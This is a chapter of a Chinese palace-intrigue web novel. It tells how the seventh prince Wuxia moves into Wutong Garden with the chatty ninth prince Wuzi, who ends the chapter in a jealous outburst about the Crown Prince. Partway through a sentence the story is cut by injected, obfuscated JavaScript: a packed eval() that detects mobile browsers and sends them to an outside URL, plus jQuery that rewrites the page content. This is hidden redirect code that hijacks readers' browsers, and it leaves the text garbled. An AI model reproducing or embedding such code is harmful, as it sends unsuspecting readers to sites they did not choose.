按理来说,独孤无瑕应该大字不识一个才对。
昨日只听转述,也只当他全然是撒泼打滚,没细细想他哪里知道的那么多大道理。
今日这番交谈,分明才清醒不久,却比同龄的其他皇子表现的更好。
有些异常没想起来也就罢了,一旦从脑海中冒出,便叫人越想越觉得怪异。
皇后不得不去思索七皇子到底是从哪里学来的言谈。
侍奉的太监宫女年纪尚小,也不通诗书,谈不上教他这些东西,芷嫔也出身贫寒,读书不多,怎么会懂得……
哦,差点忘了,槛花宫先前侍奉的宫人拂云,却是前朝遗老,名门之后。
拂云逝去后,才调配新的宫人过去侍奉。
冷宫之中最不缺的就是空闲时间,若拂云把她所知所学都教给无瑕听,使他耳濡目染,记住这些东西,也不是没可能。
只是……若只教了诗文礼节倒是还好,若教了什么怀念前朝的东西却是不妙。
但无瑕年纪尚小,若真被教歪心志,要纠正过来也容易许多。
至于这一点是否是杞人忧天,总归他要和无恣同处一段时间,届时从无恣处费心询问一番,也就明白了。
皇后将这一切想定之后,便决定尽快叫此二者搬到梧桐园里相处。
又想换掉无瑕身边侍奉的宫人。
一方面是想要换更能信任的宫人,另一方面,是这两名宫人年纪太轻,宫女辛夷倒是还好一些,太监进宝就太过幼稚,顶不起事儿,还是早换了靠谱的才行。
但又想着既然是要和无恣住在一处,这事儿倒是也不急,于是暂且按下,可以等有合适的再安排过去。
***
进宝可不知道皇后娘娘一念之间,差点要把他换掉。
他抱着一堆东西,站在廊下忽然打了一个喷嚏,然后挨了辛夷一顿训斥。
“站风口里做什么,看你被吹的受寒病了,还怎么侍奉殿下。”
进宝嘿嘿一笑,连忙找背风的地方站着,又有些不舍的看着院子里那个老树,想着今天真的要搬出冷宫,还是觉得像是做梦一样。
那同样也是辛夷所难以想象的。
不过是短短几天,先是有了温暖的被褥,暖和的冬衣,成堆的炭火……
然后又搬到了梧桐园最好的位置,和皇后娘娘嫡出皇子同居一殿,如何不使他心跳如鼓,激动非常。
与此同时,也难免束手束脚,新生胆怯。
毕竟,跟随九皇子一道来的宫人可不怎么待见他们,甚至连七殿下都不怎么看得起。
独孤无瑕搬到梧桐园,只随行携带才分发两天的俸禄,一两趟也就搬完,放在缀琼馆里,完全摆放完毕,也没用一个时辰,且稀稀落落的,相当简朴。
而当独孤无瑕去独孤无恣所居珠玑殿时,甚至要置放的东西都还没运完。
无瑕依在空闲之处,看着十几名宫人来回进出忙碌,渐渐将空无一物的空旷楼阁,填充的琳琅满目,丰富多彩,不由咋舌。
又忍不住对比当年独孤无恙的房间——
很多时候,都是睡在帐篷里,压根没房间住,一应装饰之物也是不可能有的,只有长/枪利剑,劲衣盔甲。
过得甚至比他这个七皇子还要艰苦。
可见投胎也很讲究。
投生乱世,就算是天之骄子,也得餐风露宿,投生冷宫,就算是皇子公主,也要忍饥挨饿,投生盛时嫡子,那与生俱来,便享受荣华富贵了。
独孤无恣凑到他身边来,见他一副沉思中的样子,拉了拉他的衣袖,悄声说道:
“咱们之前说好的,七哥哥晚上和我一起睡,不要回去你哪里了,被褥没我这里舒服,也冷得很。”
独孤无瑕:……
童言无忌,但也很伤人心啊。
冷是因为没那么多碳火可以整日夜不停歇的烧,被褥虽说也温暖厚实,但又比不上独孤无恣这边特制的锦被绣枕。
倘若独孤无瑕当真是这个年纪的少年人,还真说不准会误会独孤无恣是在故意炫耀,进而心生怨恨,也不是没可能的事。
但他是个心怀宽阔的成年人。
面对与独孤无恙一母同出的幼弟,自是谈不上愤恨,甚至连他的宫人对自己的不满,也很包容的没做任何计较。
除却一应普通宫人,跟随在独孤无恣身边的,还有一个总管太监许恩与两名大宫女,鸣佩,鸣环。
许恩相当自然的把两处庭院都接管过去。
是说,不仅仅是珠玑殿全由他来调配,连缀琼馆一应事务与宫人,也都雷厉风行的代为管教。
其中辛夷,进宝更是被指使的团团转,时不时都能见到他二人被呵斥的场面。
那也不能全怪罪许恩看不上他们,所以故意刁难,二者确实也有太多需要改进之处。
待在无人在意的冷宫中,日子过得当然不好。
但另外一方面,也叫他们完全懈怠,全无其他宫人之谨小慎微,循规蹈矩。
这同样是辛夷与进宝心知肚明的地方,否则他们也不会就算被训斥的难过哭泣,也不愿去找七皇子告状。
殿下那一日的所作所为,是他们不能够忘记的。
身为宫人不仅不能为殿下尽心尽力,排忧解难,反倒要殿下抛却颜面来庇护他们,如若他们再没任何长进,继续给殿下添麻烦,那可真是无用至极了。
是以就算是被九皇子身边服侍的宫人冷漠对待,被许恩教训呵斥,也还是硬着头皮主动讨好,做事越发周到细致起来。
至少不要叫人挑出毛病,再来嘲讽是殿下管教无方。
这一切,独孤无瑕也完全了然。
但没什么实质上的,完全恶意的,两名宫人无法承受的欺凌伤害,他也不打算过多干涉。
他前世不忍心独孤无恙小小年纪就上战场,却也不代表他是溺爱无度的人。
某方面来讲,他其实相当无情。
如若不能靠自己的本事立足,全依靠在他的羽翼之下,等哪一日他一去不回,又该当何处呢。
但话又说回来,其实独孤无瑕也没那么多时间放在这些宫人身上。
因为独孤无恣远比他所想象中的闹腾粘人。
从进入梧桐园,独孤无恣几乎没个消停时候。
除却要去上课,或皇帝皇后召唤,他是白日里拉着独孤无恙到处探险梧桐园,晚上要独孤无瑕给他讲睡前故事。
独孤无瑕懒得讲,推辞说自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716538|189345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己没听过什么故事,独孤无恣便得意的说,那我来给你讲故事。
说完就兴致勃勃的开始复述他所知道的一切。
从太傅传授的史闻名士,到宫人间流传的精怪故事,又或者是他自己翻书看画了解的东西,全都一股脑的说了一个遍。
喋喋之不休,叫独孤无瑕梦里都是他叽叽喳喳的声音。
又头疼的想,都说七八岁是狗都嫌弃的年纪,怎么独孤无恣十岁都过了还这么闹腾,总不会是宫中没其他人供他折磨,所以才隐忍到现在吧。
那他真有理由怀疑,皇后就是受不了独孤无恣这么闹腾,才把这个烫手山芋“迫不及待”的交到自己手里。
某方面来说,独孤无瑕猜的也不算错。
宫人们不敢做出什么真心实意的评价,只会一味称是,或者一问三不知,讲了也没意思,父皇母后事务繁忙,也没时间听他絮叨,其他兄弟姐妹呢,更是懒得理他。
如今好不容易有个愿意容忍他,且能给予他想要之反馈的皇兄出现,独孤无恣当然是大说特说,恨不能直接把脑子拿出来与皇兄共享。
也因此,不过短短几日,他们之间的关系突飞猛进,甚至比太子这个真正一母同出的长兄,还要亲近许多。
“如果太子皇兄能和七哥你这么好就好了。”
独孤无恣这么感慨,说完又连忙找补:
“我不是说我太子皇兄不好——你是不是没真正见过太子皇兄,他可厉害了。”
说到这里,独孤无瑕已然明了今晚的话题,就是“太子皇兄”独孤无恙。
但这个话题无瑕倒是很感兴趣。
实话说,他不是没有担心,受了那么大的刺激,独孤无恙回去后会否精神失常,既然今天晚上独孤无恣主动谈论起来他这位太子皇兄,独孤无瑕也从善如流,询问起来许多有关他的事宜。
大体上来讲,除了变得过于冷漠,有点喜怒无常,叫人摸不清他的情绪外,其他方面倒是也做的很好。
朝堂之上能够直言正谏,代管国事,征战在外也锐不可当,所向披靡。
知晓独孤无恙并没被当日之事打击的一蹶不振,反而能够独当一面,独孤无瑕还是很欣慰的,但显然独孤无恣相当不满。
既不满太子皇兄眼里没他,从来不和他在一块玩耍,又不满独孤无瑕今天晚上一直问太子皇兄的事情。
这许多天以来,他这位七哥都没有这么积极的问过有关他的问题。
独孤无恣渐渐从兴奋激动的讲述,变得焦躁恼怒起来。
终于,他完全忍不下去。
“我受够了!”
独孤无恣忽然一掀被子,在独孤无瑕不明所以的目光中,从被子里爬了出来,只穿着一身寝衣,双手叉腰站在床上。
“我就知道!”
他怒气冲冲的看着一脸状况外的独孤无瑕,朝着他大声叫喊道:
“父皇母后只喜欢太子皇兄,那些朝堂的大臣眼里也都只有太子皇兄,连你才从冷宫里出来,都没见过太子皇兄,也是这样只在乎太子皇兄!”
“我们这些其他的皇子公主,全都和路边野草一样压根没人在意!”
独孤无瑕:……
怎么突然发疯?